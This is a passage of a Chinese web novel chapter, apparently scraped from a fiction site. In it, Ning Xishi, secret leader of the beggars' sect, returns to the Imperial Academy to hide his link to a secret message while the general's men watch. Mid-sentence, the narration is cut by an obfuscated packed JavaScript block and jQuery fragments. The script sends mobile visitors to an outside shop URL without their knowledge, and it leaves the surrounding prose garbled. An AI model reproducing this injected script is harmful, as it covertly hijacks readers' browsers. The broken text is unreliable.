文趣网 > 其他小说 > 嫡次子的科举路 > 11.国子监,重读书
    东霜抿了抿唇,犹豫再三,还是说:“想要推您当这个武林盟主的人是四府中排行首位,冥江府的老爷子——冥寒彻。”

    冥寒彻,这个名字在江湖上可是如雷贯耳。

    传闻有书生赶路偶遇绿林大盗,佯装镇定对那大盗说自己是冥寒彻的外孙,此番进京赶考,倘若大盗放他一马,日后冥家定然不会亏待他。

    但倘若杀了他,冥家也定然不会放过他。

    如此一来,那手无缚鸡之力的书生居然安然无恙的离去了,那些大盗不仅没有杀他、抢他钱,甚至还护送他出了最危险的鹰嘴沟。

    书生当然是假外孙,只是狐假虎威罢了。

    但冥寒彻老爷子听闻此事,居然真派人将那几位绿林大盗收入麾下,让其改过自新后成为了冥家护院。

    如此一来,冥寒彻老爷子的名声可谓响彻武林,黑白两道都对他尊敬有加。

    宁熙时十分纳罕:“我与这位冥老爷子从无交集,甚至都没见过他,何故联系我?”

    东霜摇了摇头,这件事是通过居乐帮的密信传递来的,似乎是担心被人截胡,猜到宁熙时真正身份,里面也只写了这一行字。

    东霜问:“少爷,咱们怎么回复他们?”

    宁熙时逗猫正起劲:“两个字——没空。”

    宁熙时是真的不想趟浑水,他这人文不成武不就,不能吃苦更害怕死,当年接手丐帮,纯粹是因为有点中二病,加之当时的丐帮已经在师父他老人家的带领下隐入凡尘,外人难以窥其形貌,不会引起任何争端。

    武林盟主可不行,那可是众矢之的,朝廷要是腾出手清缴江湖势力,第一个杀的就是武林盟主。

    东霜得令,赶紧要下去回信。

    宁熙时想到什么,又问:“谁帮冥老爷子传得信?”

    他们丐帮早已是铁板一块,底下的人一般不大可能帮着外人联络自己这个帮主。毕竟这样有暴露他身份的风险。

    听到这个,东霜脸色更加难看了:“不是咱们的兄弟,是之前跟着老帮主的一位护法,后来年事已高便去冥家做上宾。冥老爷子一向喜欢广交各方好友,当时收留这位老护法,估计也是为了能联络上咱们丐帮。”

    东霜继续说:“而且,这密信是送到了国子监的。”

    宁熙时一听直接炸毛,抱着碧娘站了起来:“那位老护法给冥家说了什么?”

    这个东霜肯定不知道,只能摇头。

    宁熙时万万没想到,多年前便离开丐帮的老人物,居然能给自己埋下这么大一颗雷。

    对方知道自己的身份吗?

    还是说,对方只知道在国子监联络自己?

    如果这护法一直跟在他师父身边,那么肯定是知道他身份的。

    毕竟当年丐帮帮主把帮主之位传给关门弟子的事情根本瞒不住,而他偷偷跟师父学武的事情,这几位老护法也是知道的。

    稍加一推断,就知道他这个紹州秦渡的外孙便是丐帮新主。

    宁熙时闭了闭眼:“那封密信我看看,别急着回。国子监的联络暗号,悄悄除掉,别让人发现了。”

    东霜领命:“是。”

    ·

    与此同时,同样主题的谈话也发生在将军府书房。

    “丐帮这几年可谓沉寂不少,能让他们有所动静,江湖中恐怕要出事。”裘昌玉摸着下巴,一想到那个小白猫叫碧娘,他还是忍不住脸颊抽了抽。

    不过,找到‘碧娘’,洗清了宁二少与那丐帮的关系,却也断了他们追查丐帮联络暗号的线索。

    裘昌玉又说:“传闻说那丐帮现在改名居乐帮,改邪归正,不再过问武林之事。眼下他们高层的联络暗号既出,这个传闻便不攻自破,他们肯定在暗地里谋划着什么。将军,咱们玄铁军养精蓄锐这么久,三年后是要打一场大仗的,如若这时出现内忧,那一仗胜算怕是不大。”

    这是大实话。

    抵御强敌,一定要举国之力劲儿往一处使,才有机会致胜,如果有江湖人士在其中拖后腿,粮草供给跟不上,那无数玄铁军的性命可就堪忧了。

    这事不用裘昌玉说,谢景行早已想到。

    他那个皇兄近些年对身边人猜忌愈发得多,行事也愈发荒唐无道,江湖中早已有王朝气数已尽的说法。

    而且那些江湖中人又是一群只要有人煽风点火就立马跟着跑的莽夫,甚至前任武林盟主还给他自己封了个土皇帝,这都有人敢追随。谢景行不敢想这群人闹腾起来,能惹出多大的乱子。

    早上心中的旖旎劲儿不知道被吹散去了哪儿,谢景行抬指按在额角,道:“去守着那个记号,一旦有人想要祛除掉,定然是丐帮的人。”

    裘昌玉登时眼睛亮起来:“妙啊,将军,我这就去办。”

    ·

    东霜这边刚走到小院门口,再一次被宁熙时叫住。

    “不妥,那记号既然已出现在国子监,被人发现的可能性就很大,这时着急忙慌去处理掉记号,很容易打草惊蛇。”

    宁熙时再一次感慨姜还是老的辣,看来那位丐帮的前护法是铁了心追随冥老爷子,要将他这个现任帮主给架在火上烤了。

    宁熙时抬头望天,目光带着万般的无奈:“给我更衣,我要回国子监,念、书!”

    大婚第二日就回去读书,他爹要是知道他这么好学,一定会感动得哭出来。

    宁熙时这边刚走出院子没多久,管家李元就听到消息,火急火燎地赶来了。

    “宁少爷,这是要出府吗?”

    李元心里也在叫苦,自家将军觉得愧对这个被逼嫁来当男妻的宁少爷,对他无比优待,院里不让安插将军府的眼线。但他身为管家,又不能一问三不知,只好自己上来打听了。

    宁熙时觉得自己理由无比光明正大,于是他站定脚步,目光坚定:“李管家。”

    李元被宁熙时的目光给闪了一下:“啊?”

    宁熙时道:“在我成亲前,我爹娘就时常教导我,男儿生于世,要么拿起长缨枪,保家卫国,要么手执笔杆子,报效帝王。我时常

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651344|206225||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    因为自己的学术浅薄而惭愧,自省,李管家。”

    李管家突然被叫名字,愣了一下,一双毫不知情的大眼睛看着宁熙时。

    就见宁熙时上前一步,拽住了他的手,说:“我自省,我不该再继续懈怠下去了,我要拿好我的笔杆子。”

    李管家想要抽出手,但宁熙时握得紧,一下子没抽出来。

    只好跟宁熙时上演了一场‘执手相看泪眼无语凝噎’的深情场面。

    宁熙时直到把李管家看得别开脸去,这才松开手,喊了声:“东霜,走了,回去念书。”

    于是就和东霜光明正大的从李管家面前走过,朝国子监方向而去。

    李管家:“……宁少爷真好学啊。”

    他挠挠头,很是懵圈,这、这根传闻不符啊。

    ·

    将军府的地址是早年选好的,距离三省六部一众大衙门就隔了两条街,这里住的都是跺跺脚能让王朝抖一抖的大人物。

    别看宁熙时他爹是礼部尚书,但因为后来才被提拔的,发迹的晚,自然是没资格在这里买下宅邸的。

    可宁熙时一出门还是赶紧绕路到热闹的汀桥街去,避开在大衙门当值的各位叔叔伯伯们。

    ——那些可都是他爹的好友,如今他这个礼部尚书的嫡次子成了别人的男妻,他爹脸上终究是没光的,宁熙时还是不打算被任何人见到,以免给他爹添堵。

    毕竟大家去御书房的路上,要是聊一句“我在街上碰到了你家那个嫁给别人当男妻的小儿子”,他爹肯定气得胡子发颤。

    要是以前,宁熙时也懒得管这些面子功夫。

    但一想到书中写他死后,他爹一夜之间白了头,在御书房前长跪不起,乞骸骨,辞官归隐。宁熙时还是感动万分的。

    即便是这样绕着路,宁熙时还是被一顶路过的轿子给碰到了,宁熙时只看到轿夫没打官印,便拱手走了。

    不料里面坐着的是他娘的一位朋友,这朋友将这事告诉了他娘,惹得一家人都眼泪涟涟,这都是后话了。

    宁熙时在汀桥街买了几样自己常吃的点心和香酥鸡,打算带去国子监当零嘴。

    行至国子监门前,两个侍卫将宁熙时拦在门外,差人进去通报。

    这倒不是侍卫为难宁熙时,只是国子监地位超然,任何非上下学时间的进出都要有先生手信。

    负责考勤的先生听到宁熙时这个名字,只觉得头大,本想将他打发回去,但不管是宁熙时他爹,还是他现在的丈夫,又都得罪不起,只能自己小跑出来,打算把这位祖宗劝退。

    宁熙时将给李管家的话又拉着先生的手,重复了一遍。

    说得先生寒毛直竖,赶紧挣扎开,说话都结巴起来:“你、你现在是他人之妻,虽然是男儿身,但也、也该跟其他人保持距离,不、不然将军吃醋,大、大家都吃不了兜着走。”

    本以为自己演技还不错的宁熙时:“???”

    他回头看向同样懵逼的东霜,主仆二人因为这句话,一起在风中凌乱。